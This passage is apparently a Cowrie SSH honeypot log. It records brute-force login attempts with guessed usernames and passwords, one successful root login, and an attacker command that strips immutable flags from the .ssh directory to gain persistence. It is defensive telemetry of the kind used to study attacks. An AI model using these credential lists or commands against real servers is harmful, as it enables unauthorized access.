16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:40:22.781481Z","src_ip":"2.57.122.96","session":"3253ca99bb75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:40:23.084002Z","src_ip":"2.57.122.96","session":"3253ca99bb75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:40:24.198431Z","src_ip":"2.57.122.96","session":"3253ca99bb75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.49","src_port":35494,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb73d70b9dda","protocol":"ssh","message":"New connection: 165.154.6.49:35494 (159.203.135.109:22) [session: cb73d70b9dda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:41:13.242360Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:41:13.246432Z","src_ip":"165.154.6.49","session":"cb73d70b9dda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:41:13.460680Z","src_ip":"165.154.6.49","session":"cb73d70b9dda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arun","password":"Arun123!","message":"login attempt [arun/Arun123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:41:14.353438Z","src_ip":"165.154.6.49","session":"cb73d70b9dda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:41:15.569980Z","src_ip":"165.154.6.49","session":"cb73d70b9dda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":38896,"dst_ip":"10.17.0.5","dst_port":22,"session":"24482f8d720d","protocol":"ssh","message":"New connection: 195.178.110.218:38896 (10.17.0.5:22) [session: 24482f8d720d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:42:11.821996Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:42:11.826077Z","src_ip":"195.178.110.218","session":"24482f8d720d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:42:11.905178Z","src_ip":"195.178.110.218","session":"24482f8d720d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"raydium","password":"raydium","message":"login attempt [raydium/raydium] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:42:12.143019Z","src_ip":"195.178.110.218","session":"24482f8d720d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:42:13.224726Z","src_ip":"195.178.110.218","session":"24482f8d720d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.49","src_port":49824,"dst_ip":"159.203.135.109","dst_port":22,"session":"063e9cd26488","protocol":"ssh","message":"New connection: 165.154.6.49:49824 (159.203.135.109:22) [session: 063e9cd26488]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:43:05.140064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:43:05.144444Z","src_ip":"165.154.6.49","session":"063e9cd26488","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:43:05.360766Z","src_ip":"165.154.6.49","session":"063e9cd26488","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"12345","message":"login attempt [git/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:43:06.259984Z","src_ip":"165.154.6.49","session":"063e9cd26488","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:43:07.479156Z","src_ip":"165.154.6.49","session":"063e9cd26488","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.210.77.100","src_port":37756,"dst_ip":"159.203.135.109","dst_port":22,"session":"db2f4362bcf7","protocol":"ssh","message":"New connection: 187.210.77.100:37756 (159.203.135.109:22) [session: db2f4362bcf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:43:17.548647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:43:17.552737Z","src_ip":"187.210.77.100","session":"db2f4362bcf7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:43:17.741249Z","src_ip":"187.210.77.100","session":"db2f4362bcf7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vpnadmin","password":"Vpnadmin123","message":"login attempt [vpnadmin/Vpnadmin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:43:18.511303Z","src_ip":"187.210.77.100","session":"db2f4362bcf7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:43:19.695895Z","src_ip":"187.210.77.100","session":"db2f4362bcf7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":40508,"dst_ip":"159.203.135.109","dst_port":22,"session":"d4bd923d733a","protocol":"ssh","message":"New connection: 2.57.122.96:40508 (159.203.135.109:22) [session: d4bd923d733a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:43:32.105408Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:43:32.164901Z","src_ip":"2.57.122.96","session":"d4bd923d733a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:43:32.260893Z","src_ip":"2.57.122.96","session":"d4bd923d733a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:43:32.704699Z","src_ip":"2.57.122.96","session":"d4bd923d733a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:43:33.846956Z","src_ip":"2.57.122.96","session":"d4bd923d733a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.6.227.209","src_port":2439,"dst_ip":"159.203.135.109","dst_port":22,"session":"a8fd648718c6","protocol":"ssh","message":"New connection: 112.6.227.209:2439 (159.203.135.109:22) [session: a8fd648718c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:43:44.454603Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:43:44.458994Z","src_ip":"112.6.227.209","session":"a8fd648718c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:43:44.742754Z","src_ip":"112.6.227.209","session":"a8fd648718c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ociispth","password":"123","message":"login attempt [ociispth/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:43:45.913123Z","src_ip":"112.6.227.209","session":"a8fd648718c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:43:47.178132Z","src_ip":"112.6.227.209","session":"a8fd648718c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":41258,"dst_ip":"159.203.135.109","dst_port":22,"session":"a9540aa7648f","protocol":"ssh","message":"New connection: 195.178.110.218:41258 (159.203.135.109:22) [session: a9540aa7648f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:44:15.993286Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:44:16.075049Z","src_ip":"195.178.110.218","session":"a9540aa7648f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.210.77.100","src_port":55838,"dst_ip":"159.203.135.109","dst_port":22,"session":"30b9eb5dd62f","protocol":"ssh","message":"New connection: 187.210.77.100:55838 (159.203.135.109:22) [session: 30b9eb5dd62f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:44:18.363510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:44:18.368137Z","src_ip":"187.210.77.100","session":"30b9eb5dd62f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:44:18.554844Z","src_ip":"187.210.77.100","session":"30b9eb5dd62f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arun","password":"Arun123!","message":"login attempt [arun/Arun123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:44:19.336294Z","src_ip":"187.210.77.100","session":"30b9eb5dd62f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:44:20.526824Z","src_ip":"187.210.77.100","session":"30b9eb5dd62f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.49","src_port":37410,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f0891bb1323","protocol":"ssh","message":"New connection: 165.154.6.49:37410 (159.203.135.109:22) [session: 9f0891bb1323]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:44:49.956560Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:44:49.961041Z","src_ip":"165.154.6.49","session":"9f0891bb1323","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:44:50.176350Z","src_ip":"165.154.6.49","session":"9f0891bb1323","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"1Qwertyuiop","message":"login attempt [root/1Qwertyuiop] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:44:51.067349Z","src_ip":"165.154.6.49","session":"9f0891bb1323","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:44:51.540263Z","src_ip":"165.154.6.49","session":"9f0891bb1323","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:44:51.543367Z","src_ip":"165.154.6.49","session":"9f0891bb1323","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:44:51.546992Z","src_ip":"165.154.6.49","session":"9f0891bb1323","protocol":"ssh"}
